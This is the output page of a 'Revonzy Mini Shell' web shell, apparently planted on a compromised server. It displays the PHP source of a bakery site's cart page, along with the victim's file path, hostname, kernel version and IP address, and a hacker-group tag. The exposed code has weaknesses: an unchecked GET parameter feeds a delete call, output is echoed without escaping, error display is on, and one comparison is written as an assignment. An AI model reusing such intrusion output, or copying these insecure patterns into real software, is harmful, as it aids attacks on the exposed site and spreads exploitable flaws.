Revonzy Mini Shell

Revonzy Mini Shell

Şuanki Dizin: /home/wwwdreamtechnolo/public_html/cakedarbar.in/
Dosya Yükle :
Şuanki Dosya : /home/wwwdreamtechnolo/public_html/cakedarbar.in/cart.php

<?php
ini_set('display_errors', 1);
ini_set('display_startup_errors', 1);
error_reporting(E_ALL);
	require_once("lib/functions.php");	
	$db = new login_function();
	$current_session = "";
	$show_checkout_btn = 0;
	if(isset($_GET['delete_id']))
	{
		$delete_id = $_GET['delete_id'];
		$db->delete_product_from_temp_cart($delete_id);
	}	
?>
<?php
	require_once("header.php");
?>
<br />
<br />

<div class="spec">
		<h3>Your Cart Items</h3>
		


	<div class="ser-t">
		<b></b>
		<span><i></i></span>
		<b class="line"></b>
	</div>
	</div>
	
<div class="order_time_notification">
    &#128226 Order will be delivered on Next day. <br /> &#128226 Order One Day before only
</div>


<style>
	
	tr:nth-child(even) 
	{
		background: #efefef;
	}
	tr:hover
	{
		background: #cdcdcd;
	}

	.btn_data
	{
		background:#8aea7c;
		padding:20px;
		font-size:16px;
		cursor:pointer;
		margin-top:30px;
		margin-bottom:50px;
		display:inline-table;
	}
	.btn_data:hover
	{
		background:#64ed50;
	}
	.plus_button {
    background-color: #357ebd;
    color: white;
    margin: 5px;
    padding: 5px;
    }
    .minus_button {
        background-color: #357ebd;
        color: white;
        margin: 5px;
        padding: 5px;
    }
</style>
<script type="text/javascript">
$( document ).ready(function() {
    $("#close_cart_section").click(function(){
	    $("#cart_closed_panel").hide('slow');
	});
	
	//Working of Plus button
      $(".plus_button_new").click(function(){
    var current_minus_qnty = $(this).parent().find(".field").first().val();
    var id_of_product =  $(this).parent().find(".val_id").first().val();
    var val_price_of_product =  $(this).parent().find(".val_price").first().val();
    var selling_price = $(this).parent().find(".selling_price").first().val();  
    var grams = $(this).parent().find(".grams").first().val(); 
    var unit = $(this).parent().find(".unit").first().val();  

    $.post("add-cart-background.php", 
    {
        c_id: id_of_product,
        actual_price: val_price_of_product,
        qnty: current_minus_qnty,
        selling_price: selling_price,  
        grams: grams, 
        unit: unit  
    },
    function(data, status){
        if(data == "success"){
            $('#data_loader').load('checkout_data.php');
            $(".inblock").load("cartscount.php");
            $("#data_loader").load("checkout_data_another.php");
        }
    });
    return false;
});


	
	//Working of Minus button
    $(".minus_button_new").click(function(){
		var current_minus_qnty = $(this).parent().find(".field").first().val();
		var id_of_product =  $(this).parent().find(".val_id").first().val();
		var val_price_of_product =  $(this).parent().find(".val_price").first().val();
		 var selling_price = $(this).parent().find(".selling_price").first().val();  
        var grams = $(this).parent().find(".grams").first().val(); 
        var unit = $(this).parent().find(".unit").first().val(); 
		var url_val = "add-cart-background.php";
	
	$.post("minus-cart-background.php",
    {
        c_id: id_of_product,
        actual_price: val_price_of_product,
        qnty:current_minus_qnty,
         selling_price: selling_price,  
            grams: grams, 
            unit: unit  
    },
    function(data, status){
        if(data=="success")
		{
			$('#data_loader').load('checkout_data.php');
			//$("#carts_section").load("added_carts.php");
			$("#cart_block").load("cartscount.php");
			$("#data_loader").load("checkout_data_another.php");
			//alert("Cart removed successfully");
	    }
    });
		return false;
	});
});
</script>
<style>
.heading_data
{
    background:#ebffe5;
    color:#000000;
    border:1px solid #999;
    font-weight:bold;
    text-align:center;
}
.tab_data_r td
{
    border:1px solid #999;
    color:#000000;
    font-weight:bold;
}
.cart_img_icon
{
    height:70px;
}
.cart_t tr td
{
    font-size:15px !important;
}
.btn_new
{
    background-color:#fc5454;
    border-radius:15px;
    margin:10px;
}
@media only screen and (max-width: 700px) {
  .btn_new
    {
        margin:3px !important;
        font-size:15px;
    }
}
</style>




<form method="post">
<table style="margin:auto;" class="cart_t">
<thead>
<!--<td class="heading_data" width="30" style="font-size:15px !important;">Sr.no</td>-->
<td class="heading_data" width="100" style="font-size:15px !important;">Product Name</td>
<!--<td class="heading_data" width="150" style="font-size:15px !important;">Image</td>	-->
<td class="heading_data" width="60" style="font-size:15px !important;">Qty</td>
<!--<td class="heading_data" width="100" style="font-size:15px !important;">Acutal Price</td>-->
<td class="heading_data" width="30" style="font-size:15px !important;">Subtotal</td>
<!--<td class="heading_data" width="100" style="font-size:15px !important;">Grams</td>-->
<!--<td class="heading_data" width="100" style="font-size:15px !important;">Unit</td>-->
<!--<td class="heading_data" width="100" style="font-size:15px !important;">Total </td>-->
<td class="heading_data" width="20" style="font-size:15px !important;">Remove</td>
</thead>
<?php
$total = 0;
$total1 = 0;
$total_of_Actual_price=0;
$total_of_selling=0;
$product_id = $db->fetch_all_temp_cart_data($current_session);
if(!empty($product_id))
{	
$counter = 0;
foreach($product_id as $record)
{	
	$show_checkout_btn = 1;
	$t_id		=	$product_id[$counter][0];
	$s_id		=	$product_id[$counter][1];
	$p_id		=	$product_id[$counter][2];
	$qty		=	$product_id[$counter][3];
	$actual_price1		=	$product_id[$counter][4];
	$date		=	$product_id[$counter][5];
	$time		=	$product_id[$counter][6];
	$selling_price1		=	$product_id[$counter][7];
	$grams		=	$product_id[$counter][8];
	$unit		=	$product_id[$counter][9];


	$total_of_Actual_price+=floatval($actual_price1);
	$total_of_selling+=floatval($selling_price1);

	$cart_data 	= $db->get_all_product_info_display_cart($p_id);
	$fetch_qty  = $db->fetch_total_qty($s_id,$p_id,$grams);
	$f_p_qty = $qty;
	//$db->fetch_particular_product_qty($current_session,$p_id,$grams);
	if(!empty($cart_data))
	{
			$id				=	$cart_data[0];
			$category		=	$cart_data[1];
			$product_name	=	$cart_data[2];
			$tags			=	$cart_data[3];
			$description	=	$cart_data[4];
			$actual_price	=	$cart_data[5];
			$selling_price	=	$cart_data[6];
			$p_images		=	$db->fetch_product_images_by_product_id($id);
?>
		<tr class="tab_data_r">
			<!--<td style="text-align:center;"><?php echo $counter+1; ?></td>-->
			<!--<td style="font-weight:bold;"></td>-->
			<td style="text-align:center; padding-top:7px; padding-bottom:7px;">
			    
			    <?php echo $product_name; ?> 
			    (<?php 
			        if($unit == '1 Piece / Nag')
			        {
			            if($grams=="250")
			            { 
			                echo "1 Piece"; 
			            }
			            else if($grams=="500")
			            { 
			                echo "2 Piece"; 
			            }
			            else if($grams=="1000")
			            { 
			                echo "4 Piece"; 
			            }
			            else if($grams=="2000")
			            { 
			                echo "8 Piece"; 
			            }
			        }
			        else if($unit=="Pendi")
			        {
			            if($grams==250)
			            {
			                echo "1 पेंडी";
			            }
			            else if($grams==500)
			            {
			                echo "2 पेंडी";
			            }
			            else if($grams==1000)
			            {
			                echo "4 पेंडी";
			            }
			            else if($grams==2000)
			            {
			                echo "8 पेंडी";
			            }
			        }
			        else if($unit=="Bottle")
			        {
			            if($grams==250)
			            {
			                echo "1 Bottle";
			            }
			            else if($grams==500)
			            {
			                echo "2 Bottle";
			            }
			            else if($grams==1000)
			            {
			                echo "4 Bottle";
			            }
			            else if($grams==2000)
			            {
			                echo "8 Bottle";
			            }
			        }
			        else if($unit=="Gram" OR $unit="Kilogram")
			        {
			            if($grams==250)
			            {
			                echo "500 Grams";
			            }
			            else if($grams==500)
			            {
			                echo "1 Kg";
			            }
			            else if($grams==1000)
			            {
			                echo "2 Kg";
			            }
			            else if($grams==2000)
			            {
			                echo "4 Kg";
			            }
			        }
			     ?>)
			     <br />
				<?php
					if($p_images != "")
					{
				?>
					<!--<a href="product/<?php echo $p_images; ?>" target="_blank">-->
					    <img src="product/<?php echo $p_images; ?>" class="cart_img_icon" style="border:1px solid #cdcdcd;padding:2px;">
					    <!--</a>-->
				<?php
					}
					else
					{
				?>
					<img src="/images/no-image.png" height="100px">
				<?php
					}
				?>
				</td>

			<td style="text-align:center;">
				
			  <!--  <a href="<?php $_SERVER['PHP_SELF']; ?>?delete_id=<?php echo $id; ?>" style="background-color:red;color:white;margin:5px;padding:5px;"> - </a>
				<input type="text" style="width:50px" value=<?php if($f_p_qty == "") {?> 0 <?php }else { echo $f_p_qty; ?><?php }?> class=field >
				<a href="<?php $_SERVER['PHP_SELF']; ?>?c_id=<?php echo $id; ?>&actual_price=<?php echo $selling_price; ?>" style="background-color:red;color:white;margin:5px;padding:5px;">+</a>
				-->
				<?php echo $qty; ?>
				<?php //echo ($unit === '1 Piece') ? '1 Piece' : (!empty($grams) ? $grams : '0 grams'); ?>
				<br />
			<!--<a href="<?php $_SERVER['PHP_SELF']; ?>?rmsgtm=<?php echo $t_id; ?>&actual_price=<?php echo $actual_price1; ?>&selling_price=<?php echo $selling_price1; ?>" class="minus_button_new1" style="font-weight:bold; font-size:25px;"> - </a>-->
			    <!--<input type="text" style="width:40px" value=<?php if($f_p_qty == "") {?> 1 <?php }else { echo $f_p_qty; ?><?php }?> class="field" />-->
			    <input type="hidden" value=<?php echo $id; ?> class="val_id" />
                <input type="hidden" value=<?php echo $actual_price1; ?> class="val_price" />
                <input type="hidden" value=<?php echo $selling_price1; ?> class="selling_price" />
                <input type="hidden" value=<?php echo $grams; ?> class="grams" />
                <input type="hidden" value=<?php echo $unit; ?> class="unit" />
			  <!--<a href="<?php $_SERVER['PHP_SELF']; ?>?i_c_id=<?php echo $id; ?>&actual_price=<?php echo $actual_price1; ?>&selling_price=<?php echo $selling_price1; ?>&grams=<?php echo $grams; ?>&unit=<?php echo $unit; ?>&p_id=<?php echo $p_id; ?>"  class="plus_button_new1" style="font-weight:bold; font-size:25px;">+</a>-->
			</td>
			<!--<td style="text-align:center;font-size:15px !important;"><?php echo $actual_price1; ?></td>-->
			<td style="text-align:center;font-size:15px !important;"> <?php echo $selling_price1; ?>/-</td>
		    <!--<td style="text-align:center;font-size:15px !important;">-->
      <!--          <?php echo ($unit === '1 Piece') ? '1 Piece' : (!empty($grams) ? $grams : '0 grams'); ?>-->
      <!--      </td>-->
            <!--<td style="text-align:center;font-size:15px !important;"><?php echo $unit; ?></td>-->

			
			<!--<td style="text-align:center;">Rs. <?php echo $selling_price = $selling_price1*$f_p_qty; ?></td>-->
			<td style="text-align:center;"><a href="cart.php?delete_id=<?php echo $t_id; ?>" style="color:red; text-align:center;" onclick="return confirm('Are you sure?');"><i class="fa fa-trash" aria-hidden="true" ></i></a></td>
		</tr>
<?php

		$total = $total+$fetch_qty;
		$total1 = $total1+$selling_price;
	}
	$counter++;
}
?>
<tr style="background:#e6edf8; height:40px; font-family:Cambria; font-weight:bold; color:#000000;">
	<td colspan="2" style="text-align:center;font-size:15px !important;"><b>Sub Total- </b></td>
	<!-- <td style="text-align:center;font-size:15px !important;"><b><?php echo $total; ?></b></td> -->
	
	<!--<td style="text-align:center;font-size:15px !important;"><b>Rs. <?php echo $total_of_Actual_price; ?></b></td>-->

	<td style="text-align:center;font-size:15px !important;"><b>Rs. <?php echo $total_of_selling; ?></b></td>
	 <!--<td style="text-align:center;font-size:15px !important;"><b></b></td> -->
	  <!--<td style="text-align:center;font-size:15px !important;"><b></b></td> -->
	<!--<td style="text-align:center;font-size:15px !important;"><b>Rs. <?php echo $total1; ?></b></td>-->


	<td></td>
</tr>
<?php
    $delivery_charges   =   20;
    $delivery_charges_text   =   "";
    $min_order_amount   =   100;
    if($total_of_selling >= $min_order_amount)
    {
        if($total_of_selling >= 500)
        {
            $delivery_charges = 0;
            $delivery_charges_text = "Free Delivery";
        }
        else
        {
            $delivery_charges_text = "Rs. ".$delivery_charges;
        }

        //Add delivery charges in selling bill
        $final_total    =   $total_of_selling + $delivery_charges;

        ?>
        <tr style="background:#fff8e8; height:40px; font-family:Cambria; font-weight:bold; color:#000000;">
        	<td colspan="2" style="text-align:center;font-size:15px !important;"><b>Delivery Charges- </b></td>
        	<td style="text-align:center;font-size:15px !important;"><b><?php echo $delivery_charges_text; ?></b></td>
        	<td></td>
        </tr>
        
        <tr style="background:#ebffe5; height:40px; font-family:Cambria; font-weight:bold; color:#000000;">
        	<td colspan="2" style="text-align:center;font-size:15px !important;"><b>Total- </b></td>
        	<td style="text-align:center;font-size:15px !important;"><b>Rs. <?php echo $final_total; ?></b></td>
        	<td></td>
        </tr>
        <?php
    }
    else
    {
 ?>
        <tr style="background:#fff8e8; height:40px; font-family:Cambria; font-weight:bold; color:#c0080f;">
        	<td colspan="4" style="text-align:center;font-size:15px !important;"><b>Minimum Order Must Be Of Rs 300</b></td>
        </tr>
<?php
    }
?>

<?php
}else
{
?>
<tr style="background:#EDF2FA;height:30px;font-size:14px;font-weight: 800; text-align:center;">
	<td colspan="6">You have not added any products in cart. Minimum Order Of 300Rs.</td>
</tr>
<?php
}
?>
</table>
<br />
<br />
<center><a href="index.php" name="checkout_btn" class="btn_new" style="background-color:##d0661a;">Continue Shopping</a>
<?php
if($show_checkout_btn == 1)
{
    if($total_of_selling > $min_order_amount)
    {
?>

<a href="checkout_mobile_wise.php" id="Register" name="checkout_btn" class="btn_new" style="background-color:#3fda4d;">Checkout</a>
<?php
    }
}
?>
</center>
</form>
</div>	

<br />
<br />

<?php
	require_once("footer.php");
?>
<script src="js/easyResponsiveTabs.js" type="text/javascript"></script>
	<script type="text/javascript">
		$(document).ready(function () {
			$('#horizontalTab').easyResponsiveTabs({
			type: 'default', //Types: default, vertical, accordion           
			width: 'auto', //auto or any width like 600px
			fit: true   // 100% fit in a container
			});
		});				
	</script>
<!-- //tabs -->
<!-- smooth scrolling -->
	<script type="text/javascript">
		$(document).ready(function() {
		/*
			var defaults = {
			containerID: 'toTop', // fading element id
			containerHoverID: 'toTopHover', // fading element hover id
			scrollSpeed: 1200,
			easingType: 'linear' 
			};
		*/								
		$().UItoTop({ easingType: 'easeOutQuart' });
		});
	</script>
	<a href="#" id="toTop" style="display: block;"> <span id="toTopHover" style="opacity: 1;"> </span></a>
<!-- //smooth scrolling -->
<!-- for bootstrap working -->
		<script src="js/bootstrap.js"></script>
<!-- //for bootstrap working -->
<script type='text/javascript' src="js/jquery.mycart.js"></script>


</div>
</div>
</div>
</div>
</body>
</html>

EliteHackz.ORG
Revonzy Mini Shell
root@revonzy.com

Linux 65-254-81-4.cprapid.com 5.14.0-284.11.1.el9_2.x86_64 #1 SMP PREEMPT_DYNAMIC Tue May 9 05:49:00 EDT 2023 x86_64
Apache
65.254.81.4